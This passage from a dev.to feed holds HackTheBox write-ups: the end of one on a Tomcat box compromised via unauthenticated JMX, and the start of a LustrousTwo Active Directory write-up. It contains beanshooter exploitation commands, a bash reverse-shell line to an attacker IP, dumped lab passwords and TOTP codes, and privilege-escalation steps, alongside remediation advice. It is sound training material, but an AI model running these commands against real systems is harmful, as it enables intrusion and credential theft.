[+]       - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[... 140 other standard Catalina/Tomcat MBeans omitted ...]
[+]
[+] Enumerating tomcat users:
[+]     - Listing 2 tomcat users:
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:     Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:     Users:type=Role,rolename="role1",database=UserDatabase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output highlights:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Remote MBean server does not require authentication.&lt;/code&gt;&lt;/strong&gt; - this is the
root cause of the whole box. Anyone who can reach port 2222 can talk to the
MBean server with full privileges.&lt;/li&gt;
&lt;li&gt;Pre-auth deserialization on the MBean server itself was rejected (not
vulnerable to that specific check).&lt;/li&gt;
&lt;li&gt;167 MBeans were registered, 145 non-default - a mix of standard Tomcat/Catalina
management beans plus a few interesting ones flagged by beanshooter with an
&lt;code&gt;(action: ...)&lt;/code&gt; suffix, meaning beanshooter has a built-in attack module for
them: &lt;code&gt;recorder&lt;/code&gt; (JFR), &lt;code&gt;hotspot&lt;/code&gt; (HotSpotDiagnostic), &lt;code&gt;diagnostic&lt;/code&gt;
(DiagnosticCommand), and &lt;code&gt;tomcat&lt;/code&gt; (the &lt;code&gt;MemoryUserDatabaseMBean&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bonus find - leaked Tomcat credentials.&lt;/strong&gt; Because the Tomcat user database
is exposed as an MBean and JMX required no auth, beanshooter read the
in-memory user database directly and dumped two Tomcat Manager accounts in
cleartext (&lt;code&gt;manager&lt;/code&gt; / &lt;code&gt;fhErvo2r9wuTEYiYgt&lt;/code&gt; and &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;onyRPCkaG4iX72BrRtKgbszd&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These weren't the winning path here (the Manager webapp itself is&lt;br&gt;
localhost-restricted), but they came in handy later as password guesses for&lt;br&gt;
Linux system accounts.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Exploitation - Unauthenticated JMX → RCE
&lt;/h2&gt;

&lt;p&gt;Because the MBean server has no authentication, beanshooter can &lt;strong&gt;deploy an&lt;br&gt;
arbitrary MBean&lt;/strong&gt; on the target. Its &lt;code&gt;standard&lt;/code&gt; module builds a&lt;br&gt;
&lt;code&gt;TemplatesImpl&lt;/code&gt;-based payload (a classic Java gadget that abuses the XSLT&lt;br&gt;
&lt;code&gt;TransformerFactory&lt;/code&gt; machinery to execute arbitrary bytecode when the MBean's&lt;br&gt;
&lt;code&gt;newTransformer&lt;/code&gt; action is triggered) and wraps it in a &lt;code&gt;StandardMBean&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;2222 tonka
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] Deploying MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=... was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected behavior and the attack most likely worked :)
[+] Removing MBean ... MBean was successfully removed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;NullPointerException&lt;/code&gt; here is expected - it's a side effect of the&lt;br&gt;
gadget chain firing correctly, not a failure. Beanshooter deploys its own&lt;br&gt;
&lt;strong&gt;&lt;code&gt;tonka&lt;/code&gt; bean&lt;/strong&gt; (a general-purpose "run commands / upload / download files"&lt;br&gt;
MBean) as the actual payload delivered through this gadget, which is then&lt;br&gt;
used directly for command execution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;2222
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[tomcat@&amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/]&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives an interactive-ish shell as the &lt;code&gt;tomcat&lt;/code&gt; service account. A&lt;br&gt;
standard reverse shell was popped for a more usable TTY:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;attacker-ip&amp;gt;/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'user.txt'&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="go"&gt;/opt/tomcat/user.txt
&lt;/span&gt;&lt;span class="gp"&gt;tomcat@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/tomcat/user.txt
&lt;span class="go"&gt;[REDACTED]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Privilege Escalation - tomcat → useradmin
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Locating a lead
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;span class="go"&gt;karl  useradmin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two other home directories exist. Poking around &lt;code&gt;useradmin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;useradmin/backups/
&lt;span class="go"&gt;backup.tar.gz
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 The permission trap
&lt;/h3&gt;

&lt;p&gt;A naive &lt;code&gt;tar -xvf&lt;/code&gt; &lt;strong&gt;in place&lt;/strong&gt; failed for almost every file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xvf&lt;/span&gt; useradmin/backups/backup.tar.gz
&lt;span class="go"&gt;./.ssh/id_ed25519
tar: ./.ssh: Cannot mkdir: Permission denied
&lt;/span&gt;&lt;span class="c"&gt;...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The archive itself (&lt;code&gt;backup.tar.gz&lt;/code&gt;) was readable by &lt;code&gt;tomcat&lt;/code&gt;, but extracting&lt;br&gt;
it &lt;em&gt;into&lt;/em&gt; &lt;code&gt;/home/useradmin/backups/&lt;/code&gt; failed because tar tries to preserve the&lt;br&gt;
original ownership/permission bits and create subdirectories the &lt;code&gt;tomcat&lt;/code&gt;&lt;br&gt;
user isn't allowed to write in that location.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; copy the tarball to a scratch directory the current user&lt;br&gt;
actually owns, then extract there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/home/useradmin/backups$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/backup
&lt;span class="gp"&gt;tomcat@manage:/home/useradmin/backups$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;backup.tar.gz /tmp/backup/
&lt;span class="gp"&gt;tomcat@manage:/home/useradmin/backups$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/backup/
&lt;span class="gp"&gt;tomcat@manage:/tmp/backup$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xvf&lt;/span&gt; backup.tar.gz
&lt;span class="go"&gt;./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/motd.legal-displayed
./.bash_history
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time extraction succeeded, since &lt;code&gt;/tmp/backup&lt;/code&gt; is owned by &lt;code&gt;tomcat&lt;/code&gt; and&lt;br&gt;
there are no directory-creation restrictions to fight against.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.3 Two credential leaks in one archive
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;.google_authenticator&lt;/code&gt;&lt;/strong&gt; - this file stores the raw &lt;strong&gt;TOTP secret&lt;/strong&gt;
plus a list of one-time &lt;strong&gt;scratch/backup codes&lt;/strong&gt; in plaintext:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   CLSSSMHYGLENX5HAIFBQ6L35UM
   " RATE_LIMIT 3 30 ...
   " WINDOW_SIZE 3
   " DISALLOW_REUSE ...
   " TOTP_AUTH
   99852083
   20312647
   73235136
   [... 7 more scratch codes truncated ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Any of the listed 8-digit numbers is a valid one-time scratch code for&lt;br&gt;
   &lt;code&gt;useradmin&lt;/code&gt;'s Google Authenticator PAM module - no phone, no time-sync,&lt;br&gt;
   no brute force required.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.4 Logging in as useradmin
&lt;/h3&gt;

&lt;p&gt;The Tomcat &lt;code&gt;admin&lt;/code&gt; password recovered from the MBean user-database dump&lt;br&gt;
(&lt;code&gt;onyRPCkaG4iX72BrRtKgbszd&lt;/code&gt;) matched the &lt;strong&gt;Linux&lt;/strong&gt; &lt;code&gt;useradmin&lt;/code&gt; password, and&lt;br&gt;
PAM then prompted for the Google Authenticator code - satisfied with one of&lt;br&gt;
the leaked scratch codes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;tomcat@manage:/tmp/backup$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;su useradmin
&lt;span class="go"&gt;Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: 99852083
&lt;/span&gt;&lt;span class="gp"&gt;useradmin@manage:/tmp/backup$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Privilege Escalation - useradmin → root
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Sudo rights
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;useradmin@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="go"&gt;User useradmin may run the following commands on manage:
&lt;/span&gt;&lt;span class="gp"&gt;    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;useradmin&lt;/code&gt; can run &lt;code&gt;adduser&lt;/code&gt; as root, with no password prompt, restricted&lt;br&gt;
only by a regex that just requires the new username to be alphanumeric. This&lt;br&gt;
is a wide-open door: &lt;code&gt;adduser&lt;/code&gt; interactively lets the operator set a&lt;br&gt;
password, and there is no restriction on &lt;em&gt;which&lt;/em&gt; username or &lt;em&gt;which group&lt;/em&gt;&lt;br&gt;
gets created.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.2 Abusing the rule
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;useradmin@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;adduser admin
&lt;span class="go"&gt;Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
New password:
Retype new password:
&lt;/span&gt;&lt;span class="c"&gt;...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This creates a brand-new local account, fully controlled by the attacker&lt;br&gt;
(chosen password), through a root-owned process - &lt;code&gt;adduser&lt;/code&gt; itself ran as&lt;br&gt;
root via &lt;code&gt;sudo&lt;/code&gt;. On this box, once that new account exists it turns out to&lt;br&gt;
be sitting in a group / sudoers pattern that already grants full sudo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;useradmin@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;su admin
&lt;span class="go"&gt;Password:
&lt;/span&gt;&lt;span class="gp"&gt;admin@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="go"&gt;User admin may run the following commands on manage:
    (ALL) ALL
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Root
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;admin@manage:/home$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
&lt;span class="gp"&gt;root@manage:~#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;root
&lt;/span&gt;&lt;span class="gp"&gt;root@manage:~#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
&lt;span class="go"&gt;[REDACTED]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key Vulnerabilities &amp;amp; Attack Chain
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Unauthenticated JMX/RMI endpoint&lt;/strong&gt; (port 2222)&lt;/td&gt;
&lt;td&gt;Anyone on the network can enumerate and deploy MBeans on the JMX server with no credentials at all.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;MBean-based deserialization RCE&lt;/strong&gt; (&lt;code&gt;TemplatesImpl&lt;/code&gt; gadget via &lt;code&gt;StandardMBean&lt;/code&gt;, delivered through beanshooter's &lt;code&gt;tonka&lt;/code&gt; module)&lt;/td&gt;
&lt;td&gt;Full remote code execution as the &lt;code&gt;tomcat&lt;/code&gt; service user.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Plaintext credentials exposed via JMX&lt;/strong&gt; (&lt;code&gt;MemoryUserDatabaseMBean&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Tomcat Manager account passwords readable by any unauthenticated JMX client; reused as real Linux account passwords.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;World/self-readable backup archive containing SSH keys and the raw &lt;code&gt;.google_authenticator&lt;/code&gt; secret/scratch codes&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Complete compromise of a second factor intended to protect &lt;code&gt;useradmin&lt;/code&gt; - 2FA is only as strong as the secrecy of the seed file, and this one was sitting in a backup another local user could read.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Overly broad &lt;code&gt;sudo&lt;/code&gt; rule for &lt;code&gt;adduser&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;NOPASSWD&lt;/code&gt;, regex-only restriction on username)&lt;/td&gt;
&lt;td&gt;Lets a low-privileged user create an arbitrary new local account, which on this system inherits full (&lt;code&gt;ALL:ALL&lt;/code&gt;) sudo rights - a straight shot to root.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Full chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unauthenticated JMX (2222)
   └─▶ beanshooter MBean deployment (TemplatesImpl gadget)
         └─▶ RCE as tomcat
               └─▶ read world-readable /home/useradmin/backups/backup.tar.gz
                     └─▶ leak useradmin's Google Authenticator secret + SSH key
                           └─▶ su useradmin (password reused from JMX-leaked Tomcat creds + leaked TOTP code)
                                 └─▶ abuse `sudo adduser` to create a new user
                                       └─▶ new user has full sudo (ALL:ALL)
                                             └─▶ root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Remediation notes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Bind JMX/RMI management interfaces to localhost or a management VLAN, and
always enable authentication (&lt;code&gt;com.sun.management.jmxremote.authenticate=true&lt;/code&gt;)
plus SSL where remote access is genuinely required.&lt;/li&gt;
&lt;li&gt;Never expose live credential stores (like Tomcat's &lt;code&gt;UserDatabase&lt;/code&gt;) through
a management interface reachable without authentication.&lt;/li&gt;
&lt;li&gt;Treat &lt;code&gt;.google_authenticator&lt;/code&gt; files as secrets equivalent to a password —
restrict permissions to &lt;code&gt;0400&lt;/code&gt; owned by the user only, and never include
them in backups that other local accounts can read.&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;sudo&lt;/code&gt; rules that let a user create arbitrary accounts as root;
if &lt;code&gt;adduser&lt;/code&gt; must be delegated, pin the exact group/home/shell options and
verify new accounts can't inherit unintended privileges.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: LustrousTwo Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 02 Jul 2026 03:22:43 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-lustroustwo-writeup-3785</link>
      <guid>https://dev.to/exploitnotes/hackthebox-lustroustwo-writeup-3785</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;This box is a Windows Active Directory domain controller that only accepts &lt;strong&gt;Kerberos authentication&lt;/strong&gt; (NTLM is disabled). Initial access starts with anonymous FTP exposing a valid username list, which combined with a predictable "machine-name + year" password guess yields one working AD credential. That account can't touch LDAP over plaintext (signing enforced) but works fine once Kerberos is set up properly on the attack box.&lt;/p&gt;

&lt;p&gt;The real entry point is an internal IIS/ASP.NET Core file-sharing app ("LuShare") that uses Windows/Kerberos "Negotiate" auth - it only shows up once Kerberos is configured correctly, not a normal 404/anonymous site. The app has a path-traversal &lt;strong&gt;download&lt;/strong&gt; endpoint (LFI), which is used to pull &lt;code&gt;web.config&lt;/code&gt; and the compiled application DLL. Decompiling the DLL reveals a hidden &lt;code&gt;/File/Debug&lt;/code&gt; endpoint that runs raw PowerShell if you know a hardcoded PIN found in the source.&lt;/p&gt;

&lt;p&gt;That gives command execution as a low-privileged service account (&lt;code&gt;ShareSvc&lt;/code&gt;). Coercing that service account to authenticate to a listener (via the app's own download-by-UNC-path behavior) captures its NetNTLMv2 hash, which cracks quickly against a wordlist. With the cracked password we abuse Kerberos &lt;strong&gt;S4U2self&lt;/strong&gt; to impersonate a domain-admin-equivalent user against the web app's own service, regaining admin access to the "Debug" RCE endpoint (which was otherwise gated to admins).&lt;/p&gt;

&lt;p&gt;From there, command length limits are worked around by dropping a netcat binary to disk and using it for a full reverse shell. On the box, a locally installed &lt;strong&gt;Velociraptor&lt;/strong&gt; DFIR server is misconfigured with a world-readable install directory, which is not the intended ACL. Velociraptor's own &lt;code&gt;execve()&lt;/code&gt; VQL query is used to run commands as &lt;strong&gt;NT AUTHORITY\SYSTEM&lt;/strong&gt;, finishing the box.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-p-&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port(s)&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;Microsoft ftpd, &lt;strong&gt;anonymous login allowed&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;Simple DNS Plus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80 / 5985&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Microsoft IIS 10.0 / HTTPAPI 2.0 — &lt;strong&gt;"Negotiate"-only&lt;/strong&gt; (Kerberos, no NTLM)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td&gt;Kerberos&lt;/td&gt;
&lt;td&gt;Microsoft Windows Kerberos&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;135 / 139 / 445&lt;/td&gt;
&lt;td&gt;RPC / SMB&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;microsoft-ds&lt;/code&gt;, signing &lt;strong&gt;required&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;389 / 636 / 3268 / 3269&lt;/td&gt;
&lt;td&gt;LDAP / LDAPS / GC&lt;/td&gt;
&lt;td&gt;Domain: &lt;code&gt;Lustrous2.vl&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;464&lt;/td&gt;
&lt;td&gt;kpasswd5&lt;/td&gt;
&lt;td&gt;Kerberos password change&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3389&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;td&gt;Microsoft Terminal Services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9389&lt;/td&gt;
&lt;td&gt;AD Web Services&lt;/td&gt;
&lt;td&gt;.NET Message Framing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;SMB signing is enforced (&lt;code&gt;Message signing enabled and required&lt;/code&gt;). The LDAPS/GC certificates confirm the domain name &lt;code&gt;Lustrous2.vl&lt;/code&gt; and DC hostname &lt;code&gt;LUS2DC.Lustrous2.vl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Port 80 specifically returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-auth:
| &lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;401&lt;/span&gt; &lt;span class="ne"&gt;Unauthorized\x0D&lt;/span&gt;
&lt;span class="s"&gt;|_  Negotiate&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The site is returning a &lt;strong&gt;&lt;code&gt;401 Unauthorized&lt;/code&gt;&lt;/strong&gt; status with a &lt;code&gt;WWW-Authenticate: Negotiate&lt;/code&gt; header on every request. This is a strong signal the web app only accepts &lt;strong&gt;Kerberos (SPNEGO/Negotiate)&lt;/strong&gt; auth - plain anonymous or NTLM requests will always get bounced with &lt;code&gt;401 Unauthorized&lt;/code&gt;. Browsing to it directly (below) confirms this - Firefox shows a generic "problem with this site / 401 Unauthorized" page, which can easily look like a dead or misconfigured site if you don't realize Kerberos is the reason:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;http://lustrous2.vl/&lt;/code&gt; → &lt;em&gt;"Looks like there's a problem with this site... Error code: 401 Unauthorized"&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Anonymous FTP — full session
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp machine-ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Connected to machine-ip.
220 Microsoft FTP Service
Name (machine-ip:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp&amp;gt; prompt off
Interactive mode off.
ftp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;09-06-24  05:20AM       &amp;lt;DIR&amp;gt;          Development
04-14-25  04:44AM       &amp;lt;DIR&amp;gt;          Homes
08-31-24  01:57AM       &amp;lt;DIR&amp;gt;          HR
08-31-24  01:57AM       &amp;lt;DIR&amp;gt;          IT
04-14-25  04:44AM       &amp;lt;DIR&amp;gt;          ITSEC
